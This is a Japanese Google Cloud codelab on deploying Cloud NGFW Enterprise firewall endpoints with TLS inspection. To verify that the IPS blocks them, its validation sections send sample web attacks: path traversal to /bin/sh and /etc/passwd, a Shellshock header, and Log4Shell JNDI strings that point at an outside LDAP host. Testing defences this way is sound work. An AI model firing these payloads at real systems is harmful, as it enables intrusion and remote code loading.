Cloud NGFW Enterprise Codelab [TLS インスペクションあり]

1. はじめに

Cloud Next Generation Firewall(NGFW)

Cloud Next Generation Firewall は、高度な保護機能、マイクロセグメンテーション、内部および外部の攻撃から Google Cloud ワークロードを広範囲に保護する機能を備えた、完全分散型のファイアウォール サービスです。

Cloud NGFW には次の利点があります。

  • 分散ファイアウォール サービス: Cloud NGFW は、各ワークロードに完全に分散されたステートフルなホストベースの適用を提供し、ゼロトラスト セキュリティ アーキテクチャを実現します。
  • 構成とデプロイの簡素化: Cloud NGFW は、リソース階層ノードに接続できるネットワークと階層型ファイアウォール ポリシーを実装します。これらのポリシーにより、Google Cloud リソース階層全体で一貫性のあるファイアウォール エクスペリエンスが提供されます。
  • きめ細かな制御とマイクロセグメンテーション: ファイアウォール ポリシーと Identity and Access Management(IAM)によって管理されるタグを組み合わせることで、Virtual Private Cloud(VPC)ネットワークと組織全体で、North-South トラフィックと East-West トラフィックの両方を単一の VM まできめ細かく制御できます。

Cloud NGFW は次の階層で使用できます。

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall スタンダード
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise は、レイヤ 7 機能である侵入防止サービス(IPS)を分散 Google Cloud ファイアウォール ファブリックに追加します。TLS インスペクションを使用すると、TLS で暗号化されたトラフィックのインスペクションが可能になります。

ネットワーク アーキテクチャやルーティング構成を変更することなく、信頼性の高いレイヤ 7 次世代ファイアウォール(NGFW)インスペクションをきめ細かく制御してデプロイできるようになりました。

IPS でレイヤ 7 ファイアウォール制御を有効にしてデプロイするには、次のタスクを行う必要があります。

  • Google Cloud マネージド ゾーン ファイアウォール エンドポイントのセットを作成します。
  • 必要に応じて、TLS インスペクション ポリシーを作成します。
  • 必要に応じて、信頼構成を作成します。
  • これらのエンドポイントを、Cloud NGFW Enterprise サービスが必要な Virtual Private Cloud(VPC)ネットワークに関連付けます。
  • 既存のファイアウォール ポリシーとファイアウォール ルールに簡単な変更を加えて、さまざまなトラフィック パスの脅威防止プロファイルを指定します。

ネットワーク ファイアウォール ポリシー

ネットワーク ファイアウォール ポリシーは、ファイアウォール ルールのコンテナとして機能します。ネットワーク ファイアウォール ポリシーで定義されたルールは、ポリシーが VPC ネットワークに関連付けられるまで適用されません。各 VPC ネットワークには、1 つのネットワーク ファイアウォール ポリシーを関連付けることができます。ネットワーク ファイアウォール ポリシーは、ファイアウォール ルールで IAM によって管理されるタグ(またはタグのみ)をサポートします。これは現在のネットワーク タグを置き換え、ワークロードに ID を提供するために使用できます。

ネットワーク ファイアウォール ポリシーをネットワーク間で共有し、IAM によって管理されるタグと統合することで、ファイアウォールの構成と管理が大幅に簡素化されます。

ネットワーク ファイアウォール ポリシーの導入により、Google Cloud のファイアウォール ポリシーは次のコンポーネントで構成されるようになりました。

  1. 階層型ファイアウォール ポリシー
  2. VPC ファイアウォール ルール
  3. ネットワーク ファイアウォール ポリシー(グローバルリージョン

階層型ファイアウォール ポリシーは、リソース階層内の組織ノードとフォルダノードでサポートされていますが、VPC ファイアウォール ルールとネットワーク ファイアウォール ポリシーは VPC レベルで適用されます。VPC ファイアウォール ルールとネットワーク ファイアウォール ポリシーの大きな違いは、VPC ファイアウォール ルールは 1 つの VPC ネットワークにのみ適用できるのに対し、ネットワーク ファイアウォール ポリシーは 1 つの VPC または VPC グループにアタッチできるという点です。

最後に、すべての VPC ネットワークに付属する暗黙のファイアウォール ルールがあります。

  • アクションが allow、宛先が 0.0.0.0/0 の下り(外向き)ルール
  • アクションが deny、送信元が 0.0.0.0/0 の上り(内向き)ルール

デフォルトでは、次の図に強制適用シーケンスを示します。

21b3bcabc469ffe.png

VPC ファイアウォール ルールとグローバル ネットワーク ファイアウォール ポリシーの適用順序は入れ替えることができます。適用順序は、gcloud コマンドでいつでも指定できます。

タグ

ネットワーク ファイアウォール ポリシールールに統合されたタグは、Google Cloud リソース階層の組織レベルまたはプロジェクト レベルで定義された Key-Value ペアのリソースです。このようなタグには、誰がタグに対して何を行えるかを指定する IAM アクセス制御が含まれています。たとえば、Idenity and Access Management(IAM)権限では、どのプリンシパルが値をタグに割り当てることができるかと、どのプリンシパルがタグをリソースにアタッチできるかを指定できます。ネットワーク ファイアウォール ルールがタグを参照する場合、適用するにはリソースにそのタグを適用する必要があります。

タグは Google Cloud の継承リソースモデルに従います。つまり、タグとその値は親から階層全体にわたって渡されます。そのため、タグを 1 か所で作成して、リソース階層全体の他のフォルダやプロジェクトで使用できます。タグとアクセス制限について詳しくは、こちらのページをご覧ください。

タグをネットワーク タグと混同しないでください。後者は、Compute Engine インスタンスに追加できる文字列です。インスタンスに関連付けられ、インスタンスが廃止されると消えます。VPC ファイアウォール ルールにはネットワーク タグを含めることができますが、クラウド リソースとはみなされないため、IAM アクセス制御の対象ではありません。

このドキュメントでは、タグと IAM によって管理されるタグを同じ意味で使用することに注意してください。

作成するアプリの概要

この Codelab には 1 つのプロジェクトが必要です。また、VPC ネットワークを作成し、多くのネットワーク リソースとセキュリティ リソースを管理できる必要があります。Cloud NGFW Enterprise がどのように IPS 機能を提供できるかを、次の方法によって具体的に示します。

  • TLS インスペクションによるノースバウンド インターネット フローの検査
  • TLS インスペクションによる VPC 内フロー [East-West] の検査

検査対象のフローは、5 タプル(送信元 IP、宛先 IP、プロトコル、送信元ポート、宛先ポート)とタグなどの Cloud Firewall 照合パラメータを使用して選択されます。

3d0f288d3b92a295.png

ネットワーク ファイアウォール ポリシー ルールベースの最終状態は、次の表のようになります。

優先度

方向

ターゲット

ソース

宛先

操作

100

Ingress

Server_Tag

ヘルスチェック

すべて

許可

Essentials

200

Ingress

Client_Tag、Server_Tag

IAP

すべて

許可

Essentials

800

Ingress

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 検査

エンタープライズ

850

下り(外向き)

Client_Tag

すべて

10.0.0.0/24

許可

Essentials

900

下り(外向き)

Client_Tag

すべて

すべて

L7 検査

エンタープライズ

学習内容

  • ネットワーク ファイアウォール ポリシーを作成する方法。
  • ネットワーク ファイアウォール ポリシーでタグを作成して使用する方法。
  • TLS インスペクションのある Cloud NGFW Enterprise を構成して使用する方法。

必要なもの

  • Google Cloud プロジェクトです
  • インスタンスのデプロイとネットワーキング コンポーネントの構成に関する知識
  • VPC ファイアウォール構成に関する知識。

2. 始める前に

変数を作成/更新する

この Codelab では、Cloud Shell での gcloud 構成の実装に役立つ $variables を使用します。

Cloud Shell で以下のコマンドを実行します。必要に応じて角かっこ内の情報を置き換えてください。

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. API を有効にする

API をまだ有効にしていない場合は、有効にします。

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW エンタープライズ エンドポイントの作成

Cloud NGFW エンタープライズ エンドポイントの作成には約 20 分かかるため、まずエンドポイントを作成します。基本の設定は、エンドポイントの作成中に並行して行うことができます。

セキュリティ プロファイルとセキュリティ プロファイル グループを作成します。

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

予想される出力:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

リソースが正常に作成されたことを確認します。

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

予想される出力(出力形式は、使用するクライアントによって異なる場合があります。

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Cloud NGFW Enterprise エンドポイントを作成します。

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

以下のコマンドを実行して、エンドポイントが作成されていることを確認します(CREATING)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

予想される出力(出力形式は、使用するクライアントによって異なる場合があります):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

必要に応じて、次のコマンドを実行して詳細を取得します。

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

予想される出力:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

作成プロセスには約 20 分かかります。「基本設定」セクションに進み、必要なリソースを並行して作成します。

5. 基本設定

VPC ネットワークとサブネット

VPC ネットワークとサブネット

VPC ネットワークとサブネットを作成します。

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Cloud Router と Cloud NAT ゲートウェイを作成します。

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

インスタンス

クライアント インスタンスと web-server インスタンスを作成します。

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

プロジェクト レベルのタグ

必要な場合は、tagAdmin 権限をユーザーに割り当てます。

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

プロジェクト レベルのタグキーと値を作成します。

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

タグをインスタンスにバインドします。

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

グローバル ネットワーク ファイアウォール ポリシー

グローバル ネットワーク ファイアウォール ポリシーを作成します。

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

ヘルスチェックIdentity-Aware Proxy の範囲からのトラフィックを許可するために必要な Cloud Firewall Essentials ルールを作成します。

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

特定の範囲からの上り(内向き)East-West / サブネット内トラフィックを許可するために必要な Cloud ファイアウォール ルールを作成します(これらのルールは、TLS インスペクションを備えた Cloud NGFW Enterprise を有効にするように更新されます)。

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

クラウド ファイアウォール ポリシーを VPC ネットワークに関連付けます。

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud ファイアウォール エンドポイントの関連付け

まだ環境変数を定義していない場合や、スクリプトを使用したほうがよい場合は、環境変数を定義します。

Cloud ファイアウォール エンドポイントの作成が正常に完了したことを確認します。状態が ACTIVE(作成中、想定される状態は CREATING)と表示された場合にのみ続行します。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

予想される出力(出力形式は、使用するクライアントによって異なる場合があります):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

必要に応じて、次のコマンドを実行して詳細を取得します。

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

予想される出力:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Cloud ファイアウォール エンドポイントを VPC ネットワークに関連付けます。

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

関連付けのプロセスには 10 分ほどかかります。状態が「ACTIVE」と表示されている場合にのみ、TLS セクションに進みます(作成中は「CREATING」が想定されます)。

gcloud network-security firewall-endpoint-associations list

完了時に想定される出力:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

必要に応じて、次のコマンドを実行して詳細を取得します。

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

予想される出力:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. TLS リソースを構成する

CA プールを作成します。このリソースは、NGFW Enterprise 用に生成したルート CA 証明書を格納するために使用されます。

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

ルート CA を作成します。これは、NGFW Enterprise を介したリクエストの追加証明書に署名するために使用される CA 証明書です。

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

以下のメッセージが表示された場合は、「y」と入力します。

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

サービス アカウントを作成します。このサービス アカウントは、NGFW Enterprise の証明書をリクエストするために使用されます。

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

サービス アカウントの IAM 権限を設定します。

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS ポリシー YAML ファイルを作成します。このファイルには、特定のリソースに関する情報が含まれています。

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS インスペクション ポリシーをインポートします。

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

エンドポイントの関連付けを更新して TLS を有効にします。

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA 証明書を取得し、クライアントの CA ストアに追加します。

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

CA 証明書をクライアントに転送します。

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH で VM に接続し、CA 証明書を /usr/local/share/ca-certificates に移動して、CA ストアを更新します。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

終了して Cloud Shell に戻ります。

サーバー証明書の署名プロセス:

cloudshell で、pip コマンドを使用して Pyca 暗号ライブラリをインストールします。

pip install --user "cryptography>=2.2.0"

Google Cloud SDK が Pyca 暗号ライブラリを使用できるようにするには、サイト パッケージを有効にする必要があります。

export CLOUDSDK_PYTHON_SITEPACKAGES=1

サーバー証明書を作成します。

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

これにより、cloudshell に cert.pem ファイルと key.pem ファイルが生成されます。次に、証明書と鍵をサーバーに転送します。

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

サーバーに SSH 接続して Apache の証明書の詳細を更新します。

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

証明書と鍵を特定フォルダに移動します。

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

署名付き証明書を使用するように SSL 構成を更新します。

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Apache を再起動します。

sudo systemctl restart apache2

Apache のステータスを確認します。

sudo systemctl status apache2

アクティブ(実行中)になっているはずです。

VM を終了して cloudshell で続行します。

8. ノースバウンドと E/W の接続を検証する

Cloud Shell で以下のコマンドを実行し、使用するターゲット IP をメモします。

gcloud compute instances list --filter="name=($prefix-$zone-www)"

新しいタブを開き、IAP を介してクライアント VM への SSH 接続を開始します(新しいタブで変数を定義する必要があります)。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

以下のコマンドを実行して、使用するターゲット IP をメモします。変数を作成し、角かっこ内の値を前のステップで確認した IP に置き換えて、到達可能であることを確認します。

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

プライベート IP で curl を実行し、到達可能であることを確認します。

curl https://$target_privateip --max-time 2

curl リクエストで想定される結果:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

サンプル攻撃を IP に送信します。ウェブサーバーはすべてのリクエストに応答し、L7 の検査/防止が行われていないことを確認します。

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

予想される結果の例(プライベート IP):

400
404
400
200
200

同様に、インターネットの宛先にリクエストを送信します。

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

予想される結果の例(インターネットの宛先):

400
404
400
403
403

VM ターミナルを終了し、Cloud Shell に戻ります。

9. TLS インスペクション用のファイアウォール ルールの作成と更新

前回は、内部サブネットからサーバーへの上り(内向き)トラフィックを許可するようにファイアウォール ルールを構成しました。次に、既存の上り(内向き)ルールを更新し、アクションを apply_security_profile_group に設定します。これにより、TLS を使用した E/W L7 インスペクションが有効になります。

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

TLS を使用してノースバウンド L7 インスペクションを検査する新しいルールを作成します。

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

二重検査を防ぐために E/W に EGRESS を許可する新しいルールを作成する。

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. ノースバウンド TLS インスペクションの検証

クライアント VM のタブに戻るか、もう一度接続します。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

サンプル攻撃をインターネット上の宛先に送信します。

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

以下の出力で、レスポンスが受信されず、サンプル攻撃がブロックされたことを確認できます。

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

変数に以前のサーバー IP を設定します。

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

サンプルの TLS リクエストをサーバーに送信します。

curl https://$target_privateip --max-time 2

予想される出力:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

このリクエストが失敗しました。なぜですか?これは、ファイアウォールが信頼していないサーバーから証明書を受信しているためです。この場合、自己署名証明書がクライアントに返されます。信頼を有効にするには、信頼構成の一部として CA 証明書を追加する必要があります。

Cloud Shell に戻ります。

11. 信頼構成を構成する

ルート CA 証明書を取得し、適切な形式の変数として設定します。

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

信頼構成 YAML ファイルを構成します。このファイルには、CA 証明書などの信頼の詳細が含まれています。

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

サーバー証明書はルート CA を使用して署名されているため、上記のコマンドではトラストストアの一部としてルート CA 証明書が含まれていました。つまり、TLS ポリシーで公開 CA が false に設定されている場合は Public CA に加えて、ルート CA によって署名されたすべての証明書をファイアウォールが信頼します。

信頼構成の内容を確認します。

cat trust_config.yaml 

出力例:

証明書のインデントの配置に注意してください。この形式に厳密に従う必要があります。

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

信頼構成をインポートします。

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

TLS ポリシー YAML ファイルを更新して、信頼構成を含めます。

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

更新された TLS ポリシーをインポートします。

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. E/W TLS インスペクションの検証

